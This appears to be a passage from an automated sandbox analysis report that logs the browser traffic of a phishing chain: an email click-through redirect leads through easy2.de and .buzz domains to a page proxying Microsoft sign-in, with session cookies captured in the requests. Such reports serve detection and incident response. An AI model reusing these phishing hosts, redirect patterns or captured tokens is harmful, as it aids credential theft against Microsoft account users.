WHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1O...	HTTP Parser: No <meta name="copyright".. found

Source: global traffic	TCP traffic: 192.168.2.6:58420 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.6:50078 -> 1.1.1.1:53

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: account.tctmagazine.com to https://mighty-calm-plum-toucan.easy2.de/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: perspectivemeaningful.buzz to https://interconnectednessresilient.buzz/?dataxx0=eyjhbgcioijiuzi1niisinr5cci6ikpxvcj9.eyj1cmwioijodhrwczovl2ludgvyy29ubmvjdgvkbmvzc3jlc2lsawvudc5idxp6lyisimrvbwfpbii6imludgvyy29ubmvjdgvkbmvzc3jlc2lsawvudc5idxp6iiwia2v5ijoizwnlmhdxrmlxytvoiiwicxjjijpudwxslcjpyxqioje3mzy4njy1nzisimv4cci6mtcznjg2njy5mn0.mzymqyijfhz4jjcuwlpmdibvvozjtngcrkunc_vp6uw

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /emailclickthrough?TxActivity=239212&returnUrl=https://mighty-calm-plum-toucan.easy2.de/&Hash=1DD38A2BA32B80F59EA0F1A750C3EC0E HTTP/1.1Host: account.tctmagazine.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: mighty-calm-plum-toucan.easy2.deConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /css?display=swap&family=Open+Sans:regular%7CPlayfair+Display:italic%7CRoboto:300%7CHammersmith+One:regular HTTP/1.1Host: fonts.bunny.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mighty-calm-plum-toucan.easy2.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /styles/platform.client.min.css?v=1040 HTTP/1.1Host: static.web-repository.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mighty-calm-plum-toucan.easy2.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/87389112295097514/uploads/admin-files/EASY2_schwarz-4357245.png HTTP/1.1Host: content.app-sources.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mighty-calm-plum-toucan.easy2.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/library/uploads/1_Pages/if_audio-video-outline-play_344692-4984036.png?format=webp HTTP/1.1Host: content.app-sources.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mighty-calm-plum-toucan.easy2.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /t/theme25/css/trunk.min.css?v=1040 HTTP/1.1Host: static.web-repository.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mighty-calm-plum-toucan.easy2.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/platform.client.min.js?v=1040 HTTP/1.1Host: static.web-repository.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mighty-calm-plum-toucan.easy2.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /t/theme25/css/trunk-1024.min.css?v=1040 HTTP/1.1Host: static.web-repository.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mighty-calm-plum-toucan.easy2.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /t/theme25/css/trunk-768.min.css?v=1040 HTTP/1.1Host: static.web-repository.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mighty-calm-plum-toucan.easy2.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /t/theme25/css/trunk-480.min.css?v=1040 HTTP/1.1Host: static.web-repository.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mighty-calm-plum-toucan.easy2.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/common/hit.js?v=1040 HTTP/1.1Host: static.web-repository.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mighty-calm-plum-toucan.easy2.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/87389112295097514/uploads/admin-files/EASY2_schwarz-4357245.png HTTP/1.1Host: content.app-sources.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/library/uploads/1_Pages/if_audio-video-outline-play_344692-4984036.png?format=webp HTTP/1.1Host: content.app-sources.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /open-sans/files/open-sans-latin-400-normal.woff2 HTTP/1.1Host: fonts.bunny.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mighty-calm-plum-toucan.easy2.desec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://fonts.bunny.net/css?display=swap&family=Open+Sans:regular%7CPlayfair+Display:italic%7CRoboto:300%7CHammersmith+One:regularAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/platform.client.min.js?v=1040 HTTP/1.1Host: static.web-repository.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fonts/fontawesome-v6/fa-brands-400.woff2 HTTP/1.1Host: static.web-repository.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mighty-calm-plum-toucan.easy2.desec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://static.web-repository.com/styles/platform.client.min.css?v=1040Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/common/hit.js?v=1040 HTTP/1.1Host: static.web-repository.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fonts/fontawesome-v6/fa-solid-900.woff2 HTTP/1.1Host: static.web-repository.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mighty-calm-plum-toucan.easy2.desec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://static.web-repository.com/styles/platform.client.min.css?v=1040Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /page-hit?r=1736866559995 HTTP/1.1Host: service-api.app-sources.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?izpogmut HTTP/1.1Host: perspectivemeaningful.buzzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://mighty-calm-plum-toucan.easy2.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2ludGVyY29ubmVjdGVkbmVzc3Jlc2lsaWVudC5idXp6LyIsImRvbWFpbiI6ImludGVyY29ubmVjdGVkbmVzc3Jlc2lsaWVudC5idXp6Iiwia2V5IjoiZWNLMHdxRmlxYTVoIiwicXJjIjpudWxsLCJpYXQiOjE3MzY4NjY1NzIsImV4cCI6MTczNjg2NjY5Mn0.MzYmqyIjFHZ4jJcUWLpMDiBvvOzJTNGCRkunC_Vp6Uw HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://mighty-calm-plum-toucan.easy2.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://mighty-calm-plum-toucan.easy2.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM
Source: global traffic	HTTP traffic detected: GET /?7bk3o0j2b=aHR0cHM6Ly93d3cub2ZmaWNlLmNvbS9sb2dpbiM= HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://mighty-calm-plum-toucan.easy2.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; fpc=AoqkoJaJvz9Eh_YXzVockgE; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEEU7mDXUvT_Fts37tw3U-Y4HRsCk0lHBr_8jTmFCsqR13axYR1edhIYZ0ykKcGMTcNu6l1XTdcVAyLzYv1Lc-h7OfHBXffV9LKdRUq7NvTb9BeY8mWW-zLP0TUsThJJVlRdSuyMlSSFCyzBhq6fFfUsBGEca3mPSv843m081G-YUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12c0xfbUg3b253cVA0UWFiZURqQkRwdjVHeFEmeC1jbGllbnQtU0tVPUlEX05FVDhfMCZ4LWNsaWVudC12ZXI9Ny41LjEuMA== HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://mighty-calm-plum-toucan.easy2.de/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; fpc=AoqkoJaJvz9Eh_YXzVockgE; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEEU7mDXUvT_Fts37tw3U-Y4HRsCk0lHBr_8jTmFCsqR13axYR1edhIYZ0ykKcGMTcNu6l1XTdcVAyLzYv1Lc-h7OfHBXffV9LKdRUq7NvTb9BeY8mWW-zLP0TUsThJJVlRdSuyMlSSFCyzBhq6fFfUsBGEca3mPSv843m081G-YUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: interconnectednessresilient.buzzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12c0xfbUg3b253cVA0UWFiZURqQkRwdjVHeFEmeC1jbGllbnQtU0tVPUlEX05FVDhfMCZ4LWNsaWVudC12ZXI9Ny41LjEuMA==Accept-Encoding: gzip, deflate, brAccept-Language: 